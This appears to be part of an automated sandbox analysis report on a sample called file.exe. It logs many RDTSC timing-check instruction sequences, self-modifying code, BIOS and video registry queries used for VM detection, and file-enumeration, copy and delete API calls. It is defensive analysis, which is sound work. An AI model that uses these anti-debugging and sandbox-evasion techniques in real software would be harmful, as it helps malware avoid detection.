Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090922 second address: 109092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109092A second address: 1090932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFFA2 second address: FEFFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB4752107F6h 0x0000000a pop eax 0x0000000b jns 00007FB475210809h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10990AD second address: 10990B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10990B3 second address: 10990BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10990BD second address: 10990DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB4752721A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10990DE second address: 10990E8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4752107F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099749 second address: 1099751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099751 second address: 1099757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099757 second address: 109978C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB4752721A0h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FB4752721A5h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099B9E second address: 1099BA8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4752107F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A26D3 second address: 10A26D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A26D9 second address: 10A26F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB475210805h 0x00000009 jns 00007FB4752107F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0855 second address: 10A0864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB475272196h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0864 second address: 10A08A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB475210804h 0x00000009 popad 0x0000000a push edi 0x0000000b jmp 00007FB4752107FEh 0x00000010 jmp 00007FB475210808h 0x00000015 pop edi 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0E92 second address: 10A0EA7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB475272196h 0x00000008 jng 00007FB475272196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0EA7 second address: 10A0EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB4752107F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0EB2 second address: 10A0ED0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB4752721A4h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0ED0 second address: 10A0EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FB4752107FBh 0x0000000b jc 00007FB4752107F6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A119B second address: 10A11B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1307 second address: 10A1319 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4752107F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB4752107F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1319 second address: 10A1321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A163C second address: 10A1640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1797 second address: 10A17A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17A0 second address: 10A17A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17A4 second address: 10A17B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17B5 second address: 10A17BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17BF second address: 10A17C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17C3 second address: 10A17C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1E9D second address: 10A1EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2531 second address: 10A2535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8753 second address: 10A8758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8758 second address: 10A8769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FB4752107F6h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A88D4 second address: 10A88ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FB475272196h 0x00000009 jmp 00007FB47527219Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5024 second address: FF502A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7B3C second address: 10B7B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA1B5 second address: 10BA1C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FB4752107F8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1D38 second address: 10C1D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB99E second address: 10CB9C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 jne 00007FB4752107FEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB475210801h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33FE second address: 10D341E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4752721A1h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007FB475272196h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D358A second address: 10D3590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3590 second address: 10D35AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB47527219Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D36EC second address: 10D3702 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4752107F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4752107FAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3702 second address: 10D370B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3886 second address: 10D388C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D388C second address: 10D3890 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3890 second address: 10D3896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3896 second address: 10D389F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D389F second address: 10D38B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4752107FDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D39CF second address: 10D39F7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB475272196h 0x00000008 jmp 00007FB4752721A0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FB47527219Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D39F7 second address: 10D3A01 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4752107FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3B5D second address: 10D3B69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007FB475272196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3D1D second address: 10D3D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3ECF second address: 10D3EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FB475272196h 0x0000000c popad 0x0000000d jbe 00007FB475272198h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3EE4 second address: 10D3EE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8462 second address: 10D8468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8114 second address: 10D8137 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB4752107F6h 0x00000008 jmp 00007FB475210809h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8137 second address: 10D8145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FB475272196h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB2E4 second address: 10DB2EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE56A second address: 10DE570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE570 second address: 10DE57C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4752107F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E77FE second address: 10E7819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4752721A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7819 second address: 10E7823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7823 second address: 10E7827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8EA0 second address: 10E8EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB4752107F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8EAC second address: 10E8EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FB475272196h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8EB9 second address: 10E8EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752107FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8EC8 second address: 10E8EE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB4752721A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8EE3 second address: 10E8F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FB4752107FAh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jns 00007FB4752107FEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE082 second address: 10EE0DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB4752721A5h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007FB475272196h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB4752721A6h 0x00000022 jmp 00007FB4752721A8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE0DD second address: 10EE103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 js 00007FB4752107F6h 0x0000000f jmp 00007FB475210806h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E571D second address: 10E5726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBF57 second address: 10FBF76 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4752107F6h 0x00000008 jmp 00007FB475210801h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBF76 second address: 10FBF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBF7A second address: 10FBF83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBB7B second address: 10FBB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B90B second address: 110B924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752107FCh 0x00000007 pushad 0x00000008 jnl 00007FB4752107F6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B213 second address: 110B217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E4DE second address: 110E4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111159F second address: 11115CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB47527219Fh 0x00000009 popad 0x0000000a jp 00007FB4752721ACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54103D0 second address: 54103EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB475210808h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54103EC second address: 5410425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB4752721A6h 0x0000000f push eax 0x00000010 jmp 00007FB47527219Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410425 second address: 541042B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541042B second address: 5410449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB4752721A8h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104CC second address: 54104D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104D2 second address: 5410550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB47527219Fh 0x00000013 add ax, BFFEh 0x00000018 jmp 00007FB4752721A9h 0x0000001d popfd 0x0000001e mov ax, BC47h 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FB47527219Ah 0x00000029 mov ebp, esp 0x0000002b jmp 00007FB4752721A0h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FB4752721A7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410550 second address: 5410568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB475210804h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410568 second address: 541056C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030B0F second address: 1030B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030CD4 second address: 1030CF9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB475272196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB4752721A8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030CF9 second address: 1030CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E8D9DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10275EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10B143D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-39110

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BB40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00BAE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BAF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BB47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BA1710
